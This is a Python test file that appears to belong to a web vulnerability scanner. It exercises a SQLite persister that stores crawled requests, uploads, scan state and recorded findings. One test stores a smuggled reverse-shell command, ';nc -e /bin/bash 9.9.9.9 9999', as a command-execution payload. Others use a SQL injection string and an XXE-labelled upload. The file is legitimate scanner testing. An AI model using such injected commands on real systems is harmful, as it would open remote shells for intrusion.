def test_raw_post(): json_req = Request( "http://httpbin.org/post?a=b", post_params=json.dumps({"z": 1, "a": 2}), enctype="application/json" ) try: os.unlink("/tmp/crawl.db") except FileNotFoundError: pass persister = SqlitePersister("/tmp/crawl.db") persister.set_root_url("http://httpbin.org/") persister.set_to_browse([json_req]) assert persister.count_paths() == 1 extracted = next(persister.get_to_browse()) assert json_req == extracted assert json.loads(extracted.post_params) == {"z": 1, "a": 2} naughty_json = Request( "http://httpbin.org/post?a=b", post_params=json.dumps({"z": "I'm a naughty value", "a": 2}), enctype="application/json" ) persister.add_vulnerability(1, "Command Execution", 1, naughty_json, "z", "I'm a naughty value") payload = next(persister.get_payloads()) assert naughty_json == payload.evil_request assert payload.parameter == "z"
def test_persister_upload(): try: os.unlink("/tmp/crawl.db") except FileNotFoundError: pass persister = SqlitePersister("/tmp/crawl.db") persister.set_root_url("http://httpbin.org/") simple_upload = Request( "http://httpbin.org/post?qs1", post_params=[["post1", "c"], ["post2", "d"]], file_params=[["file1", ["'fname1", "content"]], ["file2", ["fname2", "content"]]] ) xml_upload = Request( "http://httpbin.org/post?qs1", post_params=[["post1", "c"], ["post2", "d"]], file_params=[["calendar", ["calendar.xml", "<xml>Hello there</xml"]]] ) persister.add_request(simple_upload) persister.add_request(xml_upload) assert persister.count_paths() == 2 stored_requests = set(persister.get_to_browse()) assert simple_upload in stored_requests assert xml_upload in stored_requests responses.add( responses.POST, "http://httpbin.org/post?qs1", body="Hello there" ) crawler = Crawler("http://httpbin.org/") for req in stored_requests: crawler.send(req) persister.add_request(req) if req == simple_upload: assert req.file_params == simple_upload.file_params assert req.file_params[0] == ["file1", ["'fname1", "content"]] assert req.file_params[1] == ["file2", ["fname2", "content"]] else: assert req.file_params == xml_upload.file_params assert req.file_params[0] == ["calendar", ["calendar.xml", "<xml>Hello there</xml"]] naughty_file = Request( "http://httpbin.org/post?qs1", post_params=[["post1", "c"], ["post2", "d"]], file_params=[["calendar", ["calendar.xml", "<xml>XXE there</xml>"]]] ) persister.add_vulnerability(1, "Command Execution", 1, naughty_file, "calendar", "<xml>XXE there</xml>") payload = next(persister.get_payloads()) assert naughty_file == payload.evil_request assert payload.parameter == "calendar" assert len(list(persister.get_forms(path="http://httpbin.org/post"))) == 2
async def test_persister_upload(): try: os.unlink("/tmp/crawl.db") except FileNotFoundError: pass persister = SqlitePersister("/tmp/crawl.db") persister.set_root_url("http://httpbin.org/") simple_upload = Request( "http://httpbin.org/post?qs1", post_params=[["post1", "c"], ["post2", "d"]], file_params=[["file1", ("'fname1", "content", "text/plain")], ["file2", ("fname2", "content", "text/plain")]] ) xml_upload = Request( "http://httpbin.org/post?qs1", post_params=[["post1", "c"], ["post2", "d"]], file_params=[["calendar", ("calendar.xml", "<xml>Hello there</xml", "application/xml")]] ) persister.add_request(simple_upload) persister.add_request(xml_upload) assert persister.count_paths() == 2 stored_requests = set(persister.get_to_browse()) assert simple_upload in stored_requests assert xml_upload in stored_requests respx.post("http://httpbin.org/post?qs1").mock(return_value=httpx.Response(200, text="Hello there")) crawler = AsyncCrawler("http://httpbin.org/") for req in stored_requests: await crawler.async_send(req) persister.add_request(req) if req == simple_upload: assert req.file_params == simple_upload.file_params assert req.file_params[0] == ["file1", ("'fname1", "content", "text/plain")] assert req.file_params[1] == ["file2", ("fname2", "content", "text/plain")] else: assert req.file_params == xml_upload.file_params assert req.file_params[0] == ["calendar", ("calendar.xml", "<xml>Hello there</xml", "application/xml")] naughty_file = Request( "http://httpbin.org/post?qs1", post_params=[["post1", "c"], ["post2", "d"]], file_params=[["calendar", ("calendar.xml", "<xml>XXE there</xml>", "application/xml")]] ) persister.add_vulnerability(1, "Command Execution", 1, naughty_file, "calendar", "<xml>XXE there</xml>") payload = next(persister.get_payloads()) assert naughty_file == payload.evil_request assert payload.parameter == "calendar" assert len(list(persister.get_forms(path="http://httpbin.org/post"))) == 2 await crawler.close()
async def test_persister_basic(): url = "http://httpbin.org/?k=v" respx.get(url).mock(return_value=httpx.Response(200, text="Hello world!")) crawler = AsyncCrawler("http://httpbin.org/") try: os.unlink("/tmp/crawl.db") except FileNotFoundError: pass persister = SqlitePersister("/tmp/crawl.db") persister.set_root_url("http://httpbin.org/") simple_get = Request("http://httpbin.org/?k=v") simple_post = Request( "http://httpbin.org/post?var1=a&var2=b", post_params=[["post1", "c"], ["post2", "d"]] ) persister.set_to_browse([simple_get, simple_post]) assert persister.get_root_url() == "http://httpbin.org/" assert persister.count_paths() == 2 assert not len(list(persister.get_links())) assert not len(list(persister.get_forms())) assert not len(list(persister.get_payloads())) stored_requests = set(persister.get_to_browse()) assert simple_get in stored_requests assert simple_post in stored_requests # If there is some requests stored then it means scan was started assert persister.has_scan_started() assert not persister.has_scan_finished() assert not persister.have_attacks_started() for req in stored_requests: if req == simple_get: await crawler.async_send(req) # Add the sent request persister.add_request(req) assert req.path_id == 1 assert persister.get_path_by_id(1) == req break # Should be one now as the link was crawled assert len(list(persister.get_links())) == 1 # We still have two entries in paths though as the resource just got updated assert persister.count_paths() == 2 persister.set_attacked(1, "xss") assert persister.count_attacked("xss") == 1 assert persister.have_attacks_started() naughty_get = Request("http://httpbin.org/?k=1%20%OR%200") persister.add_vulnerability(1, "SQL Injection", 1, naughty_get, "k", "OR bypass") assert next(persister.get_payloads()) persister.flush_attacks() assert not persister.have_attacks_started() assert not len(list(persister.get_payloads())) persister.flush_session() assert not persister.count_paths() naughty_post = Request( "http://httpbin.org/post?var1=a&var2=b", post_params=[["post1", "c"], ["post2", ";nc -e /bin/bash 9.9.9.9 9999"]] ) persister.add_vulnerability(1, "Command Execution", 1, naughty_post, "post2", ";nc -e /bin/bash 9.9.9.9 9999") payload = next(persister.get_payloads()) persister.close() assert naughty_post == payload.evil_request assert payload.parameter == "post2" await crawler.close()